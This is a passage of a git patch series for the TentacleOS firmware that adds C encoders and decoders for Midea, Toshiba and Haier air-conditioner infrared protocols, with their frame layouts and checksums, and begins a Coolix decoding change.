state to encode. Must not be NULL. + * @param[out] symbols Destination buffer. Must not be NULL. + * @param[in] max Capacity of @p symbols in symbols. + * + * @return Number of symbols written, or 0 on failure. + */ +size_t ir_ac_midea_encode(const ir_ac_state_t *state, rmt_symbol_word_t *symbols, size_t max); + +/** + * @brief Decode RMT symbols into a Midea AC state. + * + * Validates the header field and the bit-reversed nibble checksum before + * extracting power, mode, temperature and fan. + * + * @param[in] symbols RMT symbol buffer. Must not be NULL. + * @param[in] count Number of symbols. + * @param[out] out_state Destination for the decoded state. Must not be NULL. + * + * @return true if the frame is a valid Midea state, false otherwise. + */ +bool ir_ac_midea_decode(const rmt_symbol_word_t *symbols, size_t count, ir_ac_state_t *out_state); + +#ifdef __cplusplus +} +#endif + +#endif // IR_AC_MIDEA_H diff --git a/firmware_p4/components/Service/ir/ir_ac_midea.c b/firmware_p4/components/Service/ir/ir_ac_midea.c new file mode 100644 index 000000000..cd533843f --- /dev/null +++ b/firmware_p4/components/Service/ir/ir_ac_midea.c @@ -0,0 +1,247 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// TentacleOS is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// TentacleOS is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with TentacleOS. If not, see . + +#include "ir_ac_midea.h" + +#include "esp_log.h" + +#include "ir_protocol.h" + +static const char *TAG = "IR_AC_MIDEA"; + +#define MIDEA_RESET_STATE 0xA1826FFFFF62ULL +#define MIDEA_MASK48 0xFFFFFFFFFFFFULL + +#define MIDEA_HEADER_SHIFT 43 +#define MIDEA_HEADER_VALUE 0x14 +#define MIDEA_POWER_SHIFT 39 +#define MIDEA_FAN_SHIFT 35 +#define MIDEA_MODE_SHIFT 32 +#define MIDEA_USE_F_SHIFT 29 +#define MIDEA_TEMP_SHIFT 24 + +#define MIDEA_MODE_COOL 0 +#define MIDEA_MODE_DRY 1 +#define MIDEA_MODE_AUTO 2 +#define MIDEA_MODE_HEAT 3 +#define MIDEA_MODE_FAN 4 + +#define MIDEA_FAN_AUTO 0 +#define MIDEA_FAN_LOW 1 +#define MIDEA_FAN_MED 2 +#define MIDEA_FAN_HIGH 3 + +#define MIDEA_TEMP_MIN_C 17 +#define MIDEA_TEMP_MAX_C 30 +#define MIDEA_TEMP_MIN_F 62 + +#define MIDEA_MIN_SYMBOLS 49 + +static uint8_t reverse8(uint8_t value); +static uint8_t midea_checksum(uint64_t state); +static uint64_t set_field(uint64_t state, uint64_t mask, uint8_t shift, uint64_t value); + +size_t ir_ac_midea_encode(const ir_ac_state_t *state, rmt_symbol_word_t *symbols, size_t max) { + if (state == NULL || symbols == NULL || max == 0) { + ESP_LOGE(TAG, "encode: invalid arguments"); + return 0; + } + + uint8_t mode_code; + switch (state->mode) { + case IR_AC_MODE_COOL: + mode_code = MIDEA_MODE_COOL; + break; + case IR_AC_MODE_DRY: + mode_code = MIDEA_MODE_DRY; + break; + case IR_AC_MODE_HEAT: + mode_code = MIDEA_MODE_HEAT; + break; + case IR_AC_MODE_FAN: + mode_code = MIDEA_MODE_FAN; + break; + case IR_AC_MODE_AUTO: + default: + mode_code = MIDEA_MODE_AUTO; + break; + } + + uint8_t fan_code; + switch (state->fan) { + case IR_AC_FAN_LOW: + fan_code = MIDEA_FAN_LOW; + break; + case IR_AC_FAN_MED: + fan_code = MIDEA_FAN_MED; + break; + case IR_AC_FAN_HIGH: + fan_code = MIDEA_FAN_HIGH; + break; + case IR_AC_FAN_AUTO: + default: + fan_code = MIDEA_FAN_AUTO; + break; + } + + uint8_t temp = state->temp_c; + if (temp < MIDEA_TEMP_MIN_C) + temp = MIDEA_TEMP_MIN_C; + if (temp > MIDEA_TEMP_MAX_C) + temp = MIDEA_TEMP_MAX_C; + + uint64_t raw = MIDEA_RESET_STATE; + raw = set_field(raw, 0x7, MIDEA_MODE_SHIFT, mode_code); + raw = set_field(raw, 0x3, MIDEA_FAN_SHIFT, fan_code); + raw = set_field(raw, 0x1, MIDEA_POWER_SHIFT, state->power ? 1 : 0); + raw = set_field(raw, 0x1, MIDEA_USE_F_SHIFT, 0); + raw = set_field(raw, 0x1F, MIDEA_TEMP_SHIFT, (uint64_t)(temp - MIDEA_TEMP_MIN_C)); + raw = (raw & ~0xFFULL) | midea_checksum(raw); + + uint64_t inverted = (~raw) & MIDEA_MASK48; + + ir_encode_distance_cfg_t cfg = { + .header_mark = MIDEA_HDR_MARK, + .header_space = MIDEA_HDR_SPACE, + .bit_mark = MIDEA_BIT_MARK, + .one_space = MIDEA_ONE_SPACE, + .zero_space = MIDEA_ZERO_SPACE, + .max = max, + .msb_first = true, + .stop_bit = false, + }; + + size_t idx = 0; + size_t n = ir_encode_pulse_distance(symbols, raw, MIDEA_FRAME_BITS, &cfg); + if (n == 0) + return 0; + idx += n; + + if (idx + 1 > max) + return 0; + symbols[idx].duration0 = MIDEA_BIT_MARK; + symbols[idx].level0 = 1; + symbols[idx].duration1 = MIDEA_MIN_GAP; + symbols[idx].level1 = 0; + idx++; + + cfg.max = max - idx; + n = ir_encode_pulse_distance(symbols + idx, inverted, MIDEA_FRAME_BITS, &cfg); + if (n == 0) + return 0; + idx += n; + + if (idx + 1 > max) + return 0; + symbols[idx].duration0 = MIDEA_BIT_MARK; + symbols[idx].level0 = 1; + symbols[idx].duration1 = MIDEA_MIN_GAP; + symbols[idx].level1 = 0; + idx++; + + return idx; +} + +bool ir_ac_midea_decode(const rmt_symbol_word_t *symbols, size_t count, ir_ac_state_t *out_state) { + if (symbols == NULL || count == 0 || out_state == NULL) { + ESP_LOGE(TAG, "decode: invalid arguments"); + return false; + } + if (count < MIDEA_MIN_SYMBOLS) + return false; + if (!ir_match(symbols[0].duration0, MIDEA_HDR_MARK) || + !ir_match(symbols[0].duration1, MIDEA_HDR_SPACE)) + return false; + + ir_pulse_distance_cfg_t cfg = { + .one_space = MIDEA_ONE_SPACE, + .zero_space = MIDEA_ZERO_SPACE, + .msb_first = true, + }; + uint64_t raw = ir_decode_pulse_distance(symbols, 1, MIDEA_FRAME_BITS, &cfg); + + if (((raw >> MIDEA_HEADER_SHIFT) & 0x1F) != MIDEA_HEADER_VALUE) + return false; + if ((raw & 0xFF) != midea_checksum(raw)) + return false; + + out_state->protocol = IR_AC_PROTO_MIDEA; + out_state->power = (raw >> MIDEA_POWER_SHIFT) & 0x1; + + switch ((raw >> MIDEA_MODE_SHIFT) & 0x7) { + case MIDEA_MODE_COOL: + out_state->mode = IR_AC_MODE_COOL; + break; + case MIDEA_MODE_DRY: + out_state->mode = IR_AC_MODE_DRY; + break; + case MIDEA_MODE_HEAT: + out_state->mode = IR_AC_MODE_HEAT; + break; + case MIDEA_MODE_FAN: + out_state->mode = IR_AC_MODE_FAN; + break; + case MIDEA_MODE_AUTO: + default: + out_state->mode = IR_AC_MODE_AUTO; + break; + } + + uint8_t temp_field = (raw >> MIDEA_TEMP_SHIFT) & 0x1F; + if ((raw >> MIDEA_USE_F_SHIFT) & 0x1) { + int fahrenheit = temp_field + MIDEA_TEMP_MIN_F; + out_state->temp_c = (uint8_t)(((fahrenheit - 32) * 5 + 4) / 9); + } else { + out_state->temp_c = (uint8_t)(temp_field + MIDEA_TEMP_MIN_C); + } + + switch ((raw >> MIDEA_FAN_SHIFT) & 0x3) { + case MIDEA_FAN_LOW: + out_state->fan = IR_AC_FAN_LOW; + break; + case MIDEA_FAN_MED: + out_state->fan = IR_AC_FAN_MED; + break; + case MIDEA_FAN_HIGH: + out_state->fan = IR_AC_FAN_HIGH; + break; + case MIDEA_FAN_AUTO: + default: + out_state->fan = IR_AC_FAN_AUTO; + break; + } + return true; +} + +static uint8_t reverse8(uint8_t value) { + value = (uint8_t)((value & 0xF0) >> 4 | (value & 0x0F) << 4); + value = (uint8_t)((value & 0xCC) >> 2 | (value & 0x33) << 2); + value = (uint8_t)((value & 0xAA) >> 1 | (value & 0x55) << 1); + return value; +} + +static uint8_t midea_checksum(uint64_t state) { + uint8_t sum = 0; + uint64_t shifted = state; + for (int i = 0; i < 5; i++) { + shifted >>= 8; + sum += reverse8((uint8_t)(shifted & 0xFF)); + } + return reverse8((uint8_t)(256 - sum)); +} + +static uint64_t set_field(uint64_t state, uint64_t mask, uint8_t shift, uint64_t value) { + return (state & ~(mask << shift)) | ((value & mask) << shift); +} From 93da1f5ab8d585a83791a6d2aa9f8d6da4c762dc Mon Sep 17 00:00:00 2001 From: luis_thiago <95657866+lthiagovs@users.noreply.github.com> Date: Tue, 2 Jun 2026 21:49:37 -0300 Subject: [PATCH 030/572] feat(ir): new protocol Toshiba AC --- .../Service/ir/include/ir_ac_toshiba.h | 83 +++++++ .../components/Service/ir/ir_ac_toshiba.c | 218 ++++++++++++++++++ 2 files changed, 301 insertions(+) create mode 100644 firmware_p4/components/Service/ir/include/ir_ac_toshiba.h create mode 100644 firmware_p4/components/Service/ir/ir_ac_toshiba.c diff --git a/firmware_p4/components/Service/ir/include/ir_ac_toshiba.h b/firmware_p4/components/Service/ir/include/ir_ac_toshiba.h new file mode 100644 index 000000000..2548ddc9a --- /dev/null +++ b/firmware_p4/components/Service/ir/include/ir_ac_toshiba.h @@ -0,0 +1,83 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// TentacleOS is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// TentacleOS is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with TentacleOS. If not, see . + +#ifndef IR_AC_TOSHIBA_H +#define IR_AC_TOSHIBA_H + +#ifdef __cplusplus +extern "C" { +#endif + +#include "ir_ac.h" + +/** @brief Toshiba carrier frequency in Hz. */ +#define TOSHIBA_CARRIER_HZ 38000 + +/** @brief Toshiba header mark duration in microseconds. */ +#define TOSHIBA_HDR_MARK 4400 + +/** @brief Toshiba header space duration in microseconds. */ +#define TOSHIBA_HDR_SPACE 4300 + +/** @brief Toshiba bit mark duration in microseconds. */ +#define TOSHIBA_BIT_MARK 580 + +/** @brief Toshiba one-bit space duration in microseconds. */ +#define TOSHIBA_ONE_SPACE 1600 + +/** @brief Toshiba zero-bit space duration in microseconds. */ +#define TOSHIBA_ZERO_SPACE 490 + +/** @brief Toshiba trailing gap duration in microseconds. */ +#define TOSHIBA_MIN_GAP 4600 + +/** @brief Number of state bytes in a Toshiba frame. */ +#define TOSHIBA_STATE_LEN 9 + +/** @brief Number of data bits in a Toshiba frame. */ +#define TOSHIBA_FRAME_BITS 72 + +/** + * @brief Encode a Toshiba AC state into RMT symbols. + * + * 9-byte frame, MSB-first, with a trailing XOR checksum byte. + * + * @param[in] state AC state to encode. Must not be NULL. + * @param[out] symbols Destination buffer. Must not be NULL. + * @param[in] max Capacity of @p symbols in symbols. + * + * @return Number of symbols written, or 0 on failure. + */ +size_t ir_ac_toshiba_encode(const ir_ac_state_t *state, rmt_symbol_word_t *symbols, size_t max); + +/** + * @brief Decode RMT symbols into a Toshiba AC state. + * + * Validates the fixed header bytes and the XOR checksum before extracting + * mode, temperature and fan. + * + * @param[in] symbols RMT symbol buffer. Must not be NULL. + * @param[in] count Number of symbols. + * @param[out] out_state Destination for the decoded state. Must not be NULL. + * + * @return true if the frame is a valid Toshiba state, false otherwise. + */ +bool ir_ac_toshiba_decode(const rmt_symbol_word_t *symbols, size_t count, ir_ac_state_t *out_state); + +#ifdef __cplusplus +} +#endif + +#endif // IR_AC_TOSHIBA_H diff --git a/firmware_p4/components/Service/ir/ir_ac_toshiba.c b/firmware_p4/components/Service/ir/ir_ac_toshiba.c new file mode 100644 index 000000000..e3af19aba --- /dev/null +++ b/firmware_p4/components/Service/ir/ir_ac_toshiba.c @@ -0,0 +1,218 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// TentacleOS is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// TentacleOS is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with TentacleOS. If not, see . + +#include "ir_ac_toshiba.h" + +#include "esp_log.h" + +#include "ir_protocol.h" + +static const char *TAG = "IR_AC_TOSHIBA"; + +#define TOSHIBA_MODE_AUTO 0 +#define TOSHIBA_MODE_COOL 1 +#define TOSHIBA_MODE_DRY 2 +#define TOSHIBA_MODE_HEAT 3 +#define TOSHIBA_MODE_FAN 4 + +#define TOSHIBA_FAN_AUTO 0 +#define TOSHIBA_FAN_MIN 1 +#define TOSHIBA_FAN_MED 3 +#define TOSHIBA_FAN_MAX 5 + +#define TOSHIBA_TEMP_MIN 17 +#define TOSHIBA_TEMP_MAX 30 +#define TOSHIBA_TEMP_ADJUST 17 + +#define TOSHIBA_TEMP_SHIFT 4 +#define TOSHIBA_FAN_SHIFT 5 +#define TOSHIBA_MODE_MASK 0x7 + +#define TOSHIBA_HEADER0 0xF2 +#define TOSHIBA_HEADER1 0x0D + +#define TOSHIBA_MIN_SYMBOLS (1 + TOSHIBA_FRAME_BITS) + +static uint8_t toshiba_checksum(const uint8_t *bytes); + +size_t ir_ac_toshiba_encode(const ir_ac_state_t *state, rmt_symbol_word_t *symbols, size_t max) { + if (state == NULL || symbols == NULL || max == 0) { + ESP_LOGE(TAG, "encode: invalid arguments"); + return 0; + } + + uint8_t mode_code; + switch (state->mode) { + case IR_AC_MODE_COOL: + mode_code = TOSHIBA_MODE_COOL; + break; + case IR_AC_MODE_DRY: + mode_code = TOSHIBA_MODE_DRY; + break; + case IR_AC_MODE_HEAT: + mode_code = TOSHIBA_MODE_HEAT; + break; + case IR_AC_MODE_FAN: + mode_code = TOSHIBA_MODE_FAN; + break; + case IR_AC_MODE_AUTO: + default: + mode_code = TOSHIBA_MODE_AUTO; + break; + } + + uint8_t fan_code; + switch (state->fan) { + case IR_AC_FAN_LOW: + fan_code = TOSHIBA_FAN_MIN; + break; + case IR_AC_FAN_MED: + fan_code = TOSHIBA_FAN_MED; + break; + case IR_AC_FAN_HIGH: + fan_code = TOSHIBA_FAN_MAX; + break; + case IR_AC_FAN_AUTO: + default: + fan_code = TOSHIBA_FAN_AUTO; + break; + } + + uint8_t temp = state->temp_c; + if (temp < TOSHIBA_TEMP_MIN) + temp = TOSHIBA_TEMP_MIN; + if (temp > TOSHIBA_TEMP_MAX) + temp = TOSHIBA_TEMP_MAX; + + uint8_t bytes[TOSHIBA_STATE_LEN] = { + TOSHIBA_HEADER0, TOSHIBA_HEADER1, 0x03, 0xFC, 0x01, 0x00, 0x00, 0x00, 0x00}; + bytes[5] = (uint8_t)((temp - TOSHIBA_TEMP_ADJUST) << TOSHIBA_TEMP_SHIFT); + bytes[6] = (uint8_t)((mode_code & TOSHIBA_MODE_MASK) | (fan_code << TOSHIBA_FAN_SHIFT)); + bytes[TOSHIBA_STATE_LEN - 1] = toshiba_checksum(bytes); + + ir_encode_distance_cfg_t cfg = { + .header_mark = TOSHIBA_HDR_MARK, + .header_space = TOSHIBA_HDR_SPACE, + .bit_mark = TOSHIBA_BIT_MARK, + .one_space = TOSHIBA_ONE_SPACE, + .zero_space = TOSHIBA_ZERO_SPACE, + .max = max, + .msb_first = true, + .stop_bit = false, + }; + + size_t idx = 0; + size_t n = ir_encode_pulse_distance(symbols, bytes[0], 8, &cfg); + if (n == 0) + return 0; + idx += n; + + cfg.header_mark = 0; + cfg.header_space = 0; + for (size_t i = 1; i < TOSHIBA_STATE_LEN; i++) { + cfg.max = max - idx; + n = ir_encode_pulse_distance(symbols + idx, bytes[i], 8, &cfg); + if (n == 0) + return 0; + idx += n; + } + + if (idx + 1 > max) + return 0; + symbols[idx].duration0 = TOSHIBA_BIT_MARK; + symbols[idx].level0 = 1; + symbols[idx].duration1 = TOSHIBA_MIN_GAP; + symbols[idx].level1 = 0; + idx++; + + return idx; +} + +bool ir_ac_toshiba_decode(const rmt_symbol_word_t *symbols, + size_t count, + ir_ac_state_t *out_state) { + if (symbols == NULL || count == 0 || out_state == NULL) { + ESP_LOGE(TAG, "decode: invalid arguments"); + return false; + } + if (count < TOSHIBA_MIN_SYMBOLS) + return false; + if (!ir_match(symbols[0].duration0, TOSHIBA_HDR_MARK) || + !ir_match(symbols[0].duration1, TOSHIBA_HDR_SPACE)) + return false; + + ir_pulse_distance_cfg_t cfg = { + .one_space = TOSHIBA_ONE_SPACE, + .zero_space = TOSHIBA_ZERO_SPACE, + .msb_first = true, + }; + + uint8_t bytes[TOSHIBA_STATE_LEN]; + for (size_t i = 0; i < TOSHIBA_STATE_LEN; i++) + bytes[i] = (uint8_t)ir_decode_pulse_distance(symbols, 1 + i * 8, 8, &cfg); + + if (bytes[0] != TOSHIBA_HEADER0 || bytes[1] != TOSHIBA_HEADER1) + return false; + if (bytes[TOSHIBA_STATE_LEN - 1] != toshiba_checksum(bytes)) + return false; + + out_state->protocol = IR_AC_PROTO_TOSHIBA; + out_state->power = true; + + switch (bytes[6] & TOSHIBA_MODE_MASK) { + case TOSHIBA_MODE_COOL: + out_state->mode = IR_AC_MODE_COOL; + break; + case TOSHIBA_MODE_DRY: + out_state->mode = IR_AC_MODE_DRY; + break; + case TOSHIBA_MODE_HEAT: + out_state->mode = IR_AC_MODE_HEAT; + break; + case TOSHIBA_MODE_FAN: + out_state->mode = IR_AC_MODE_FAN; + break; + case TOSHIBA_MODE_AUTO: + default: + out_state->mode = IR_AC_MODE_AUTO; + break; + } + + out_state->temp_c = (uint8_t)((bytes[5] >> TOSHIBA_TEMP_SHIFT) + TOSHIBA_TEMP_ADJUST); + + switch (bytes[6] >> TOSHIBA_FAN_SHIFT) { + case TOSHIBA_FAN_MIN: + out_state->fan = IR_AC_FAN_LOW; + break; + case TOSHIBA_FAN_MED: + out_state->fan = IR_AC_FAN_MED; + break; + case TOSHIBA_FAN_MAX: + out_state->fan = IR_AC_FAN_HIGH; + break; + case TOSHIBA_FAN_AUTO: + default: + out_state->fan = IR_AC_FAN_AUTO; + break; + } + return true; +} + +static uint8_t toshiba_checksum(const uint8_t *bytes) { + uint8_t sum = 0; + for (size_t i = 0; i < TOSHIBA_STATE_LEN - 1; i++) + sum ^= bytes[i]; + return sum; +} From 0a927d8104ceb3f726c255234054370cded212b4 Mon Sep 17 00:00:00 2001 From: luis_thiago <95657866+lthiagovs@users.noreply.github.com> Date: Tue, 2 Jun 2026 21:50:25 -0300 Subject: [PATCH 031/572] feat(ir): new protocol Haier AC --- .../Service/ir/include/ir_ac_haier.h | 87 +++++++ .../components/Service/ir/ir_ac_haier.c | 232 ++++++++++++++++++ 2 files changed, 319 insertions(+) create mode 100644 firmware_p4/components/Service/ir/include/ir_ac_haier.h create mode 100644 firmware_p4/components/Service/ir/ir_ac_haier.c diff --git a/firmware_p4/components/Service/ir/include/ir_ac_haier.h b/firmware_p4/components/Service/ir/include/ir_ac_haier.h new file mode 100644 index 000000000..c6a82bbe9 --- /dev/null +++ b/firmware_p4/components/Service/ir/include/ir_ac_haier.h @@ -0,0 +1,87 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// TentacleOS is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// TentacleOS is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with TentacleOS. If not, see . + +#ifndef IR_AC_HAIER_H +#define IR_AC_HAIER_H + +#ifdef __cplusplus +extern "C" { +#endif + +#include "ir_ac.h" + +/** @brief Haier carrier frequency in Hz. */ +#define HAIER_CARRIER_HZ 38000 + +/** @brief Haier pre-header mark duration in microseconds. */ +#define HAIER_PRE_MARK 3000 + +/** @brief Haier pre-header space duration in microseconds. */ +#define HAIER_PRE_SPACE 3000 + +/** @brief Haier header mark duration in microseconds. */ +#define HAIER_HDR_MARK 3000 + +/** @brief Haier header gap (space after the second header mark) in microseconds. */ +#define HAIER_HDR_GAP 4300 + +/** @brief Haier bit mark duration in microseconds. */ +#define HAIER_BIT_MARK 520 + +/** @brief Haier one-bit space duration in microseconds. */ +#define HAIER_ONE_SPACE 1650 + +/** @brief Haier zero-bit space duration in microseconds. */ +#define HAIER_ZERO_SPACE 650 + +/** @brief Number of state bytes in a Haier frame. */ +#define HAIER_STATE_LEN 9 + +/** @brief Number of data bits in a Haier frame. */ +#define HAIER_FRAME_BITS 72 + +/** + * @brief Encode a Haier AC state into RMT symbols. + * + * 9-byte frame, MSB-first, preceded by a double header and ending with a + * byte-sum checksum. + * + * @param[in] state AC state to encode. Must not be NULL. + * @param[out] symbols Destination buffer. Must not be NULL. + * @param[in] max Capacity of @p symbols in symbols. + * + * @return Number of symbols written, or 0 on failure. + */ +size_t ir_ac_haier_encode(const ir_ac_state_t *state, rmt_symbol_word_t *symbols, size_t max); + +/** + * @brief Decode RMT symbols into a Haier AC state. + * + * Validates the double header, the 0xA5 prefix and the byte-sum checksum + * before extracting power, mode, temperature and fan. + * + * @param[in] symbols RMT symbol buffer. Must not be NULL. + * @param[in] count Number of symbols. + * @param[out] out_state Destination for the decoded state. Must not be NULL. + * + * @return true if the frame is a valid Haier state, false otherwise. + */ +bool ir_ac_haier_decode(const rmt_symbol_word_t *symbols, size_t count, ir_ac_state_t *out_state); + +#ifdef __cplusplus +} +#endif + +#endif // IR_AC_HAIER_H diff --git a/firmware_p4/components/Service/ir/ir_ac_haier.c b/firmware_p4/components/Service/ir/ir_ac_haier.c new file mode 100644 index 000000000..28cfd616f --- /dev/null +++ b/firmware_p4/components/Service/ir/ir_ac_haier.c @@ -0,0 +1,232 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// TentacleOS is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// TentacleOS is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with TentacleOS. If not, see . + +#include "ir_ac_haier.h" + +#include "esp_log.h" + +#include "ir_protocol.h" + +static const char *TAG = "IR_AC_HAIER"; + +#define HAIER_PREFIX 0xA5 +#define HAIER_CMD_ON 0x1 +#define HAIER_CMD_OFF 0x0 + +#define HAIER_MODE_AUTO 0 +#define HAIER_MODE_COOL 1 +#define HAIER_MODE_DRY 2 +#define HAIER_MODE_HEAT 3 +#define HAIER_MODE_FAN 4 + +#define HAIER_FAN_AUTO 0 +#define HAIER_FAN_LOW 1 +#define HAIER_FAN_MED 2 +#define HAIER_FAN_HIGH 3 + +#define HAIER_TEMP_MIN 16 +#define HAIER_TEMP_MAX 30 +#define HAIER_TEMP_ADJUST 16 + +#define HAIER_TEMP_SHIFT 4 +#define HAIER_FAN_SHIFT 6 +#define HAIER_MODE_SHIFT 5 + +#define HAIER_BYTE2_UNKNOWN 0x20 +#define HAIER_BYTE4_DEFAULT 0x0C + +#define HAIER_MIN_SYMBOLS (2 + HAIER_FRAME_BITS) + +static uint8_t haier_checksum(const uint8_t *bytes); + +size_t ir_ac_haier_encode(const ir_ac_state_t *state, rmt_symbol_word_t *symbols, size_t max) { + if (state == NULL || symbols == NULL || max == 0) { + ESP_LOGE(TAG, "encode: invalid arguments"); + return 0; + } + + uint8_t mode_code; + switch (state->mode) { + case IR_AC_MODE_COOL: + mode_code = HAIER_MODE_COOL; + break; + case IR_AC_MODE_DRY: + mode_code = HAIER_MODE_DRY; + break; + case IR_AC_MODE_HEAT: + mode_code = HAIER_MODE_HEAT; + break; + case IR_AC_MODE_FAN: + mode_code = HAIER_MODE_FAN; + break; + case IR_AC_MODE_AUTO: + default: + mode_code = HAIER_MODE_AUTO; + break; + } + + uint8_t fan_code; + switch (state->fan) { + case IR_AC_FAN_LOW: + fan_code = HAIER_FAN_LOW; + break; + case IR_AC_FAN_MED: + fan_code = HAIER_FAN_MED; + break; + case IR_AC_FAN_HIGH: + fan_code = HAIER_FAN_HIGH; + break; + case IR_AC_FAN_AUTO: + default: + fan_code = HAIER_FAN_AUTO; + break; + } + + uint8_t temp = state->temp_c; + if (temp < HAIER_TEMP_MIN) + temp = HAIER_TEMP_MIN; + if (temp > HAIER_TEMP_MAX) + temp = HAIER_TEMP_MAX; + + uint8_t bytes[HAIER_STATE_LEN] = { + HAIER_PREFIX, 0x00, HAIER_BYTE2_UNKNOWN, 0x00, HAIER_BYTE4_DEFAULT, 0x00, 0x00, 0x00, 0x00}; + uint8_t command = state->power ? HAIER_CMD_ON : HAIER_CMD_OFF; + bytes[1] = (uint8_t)(command | ((temp - HAIER_TEMP_ADJUST) << HAIER_TEMP_SHIFT)); + bytes[5] = (uint8_t)(fan_code << HAIER_FAN_SHIFT); + bytes[6] = (uint8_t)(mode_code << HAIER_MODE_SHIFT); + bytes[HAIER_STATE_LEN - 1] = haier_checksum(bytes); + + size_t idx = 0; + if (idx + 1 > max) + return 0; + symbols[idx].duration0 = HAIER_PRE_MARK; + symbols[idx].level0 = 1; + symbols[idx].duration1 = HAIER_PRE_SPACE; + symbols[idx].level1 = 0; + idx++; + + ir_encode_distance_cfg_t cfg = { + .header_mark = HAIER_HDR_MARK, + .header_space = HAIER_HDR_GAP, + .bit_mark = HAIER_BIT_MARK, + .one_space = HAIER_ONE_SPACE, + .zero_space = HAIER_ZERO_SPACE, + .max = max - idx, + .msb_first = true, + .stop_bit = false, + }; + size_t n = ir_encode_pulse_distance(symbols + idx, bytes[0], 8, &cfg); + if (n == 0) + return 0; + idx += n; + + cfg.header_mark = 0; + cfg.header_space = 0; + for (size_t i = 1; i < HAIER_STATE_LEN; i++) { + cfg.max = max - idx; + n = ir_encode_pulse_distance(symbols + idx, bytes[i], 8, &cfg); + if (n == 0) + return 0; + idx += n; + } + + if (idx + 1 > max) + return 0; + symbols[idx].duration0 = HAIER_BIT_MARK; + symbols[idx].level0 = 1; + symbols[idx].duration1 = 0; + symbols[idx].level1 = 0; + idx++; + + return idx; +} + +bool ir_ac_haier_decode(const rmt_symbol_word_t *symbols, size_t count, ir_ac_state_t *out_state) { + if (symbols == NULL || count == 0 || out_state == NULL) { + ESP_LOGE(TAG, "decode: invalid arguments"); + return false; + } + if (count < HAIER_MIN_SYMBOLS) + return false; + if (!ir_match(symbols[0].duration0, HAIER_PRE_MARK) || + !ir_match(symbols[0].duration1, HAIER_PRE_SPACE)) + return false; + if (!ir_match(symbols[1].duration0, HAIER_HDR_MARK) || + !ir_match(symbols[1].duration1, HAIER_HDR_GAP)) + return false; + + ir_pulse_distance_cfg_t cfg = { + .one_space = HAIER_ONE_SPACE, + .zero_space = HAIER_ZERO_SPACE, + .msb_first = true, + }; + + uint8_t bytes[HAIER_STATE_LEN]; + for (size_t i = 0; i < HAIER_STATE_LEN; i++) + bytes[i] = (uint8_t)ir_decode_pulse_distance(symbols, 2 + i * 8, 8, &cfg); + + if (bytes[0] != HAIER_PREFIX) + return false; + if (bytes[HAIER_STATE_LEN - 1] != haier_checksum(bytes)) + return false; + + out_state->protocol = IR_AC_PROTO_HAIER; + out_state->power = (bytes[1] & 0x0F) != HAIER_CMD_OFF; + + switch (bytes[6] >> HAIER_MODE_SHIFT) { + case HAIER_MODE_COOL: + out_state->mode = IR_AC_MODE_COOL; + break; + case HAIER_MODE_DRY: + out_state->mode = IR_AC_MODE_DRY; + break; + case HAIER_MODE_HEAT: + out_state->mode = IR_AC_MODE_HEAT; + break; + case HAIER_MODE_FAN: + out_state->mode = IR_AC_MODE_FAN; + break; + case HAIER_MODE_AUTO: + default: + out_state->mode = IR_AC_MODE_AUTO; + break; + } + + out_state->temp_c = (uint8_t)((bytes[1] >> HAIER_TEMP_SHIFT) + HAIER_TEMP_ADJUST); + + switch (bytes[5] >> HAIER_FAN_SHIFT) { + case HAIER_FAN_LOW: + out_state->fan = IR_AC_FAN_LOW; + break; + case HAIER_FAN_MED: + out_state->fan = IR_AC_FAN_MED; + break; + case HAIER_FAN_HIGH: + out_state->fan = IR_AC_FAN_HIGH; + break; + case HAIER_FAN_AUTO: + default: + out_state->fan = IR_AC_FAN_AUTO; + break; + } + return true; +} + +static uint8_t haier_checksum(const uint8_t *bytes) { + uint8_t sum = 0; + for (size_t i = 0; i < HAIER_STATE_LEN - 1; i++) + sum += bytes[i]; + return sum; +} From 1e5ff7848725bb11108f74af13fc37936a675e1b Mon Sep 17 00:00:00 2001 From: luis_thiago <95657866+lthiagovs@users.noreply.github.com> Date: Tue, 2 Jun 2026 21:54:55 -0300 Subject: [PATCH 032/572] feat(ir): decode Coolix AC frames --- .../Service/ir/include/ir_ac_coolix.h | 14 +++ .../components/Service/ir/ir_ac_coolix.c | 102 +++++++++++++++++- 2 files changed, 114 insertions(+), 2 deletions(-) diff --git a/firmware_p4/components/Service/ir/include/ir_ac_coolix.h b/firmware_p4/components/Service/ir/include/ir_ac_coolix.h index 430673614..ff8631c4e 100644 --- a/firmware_p4/components/Service/ir/include/ir_ac_coolix.h +++ b/firmware_p4/components/Service/ir/include/ir_ac_coolix.h @@ 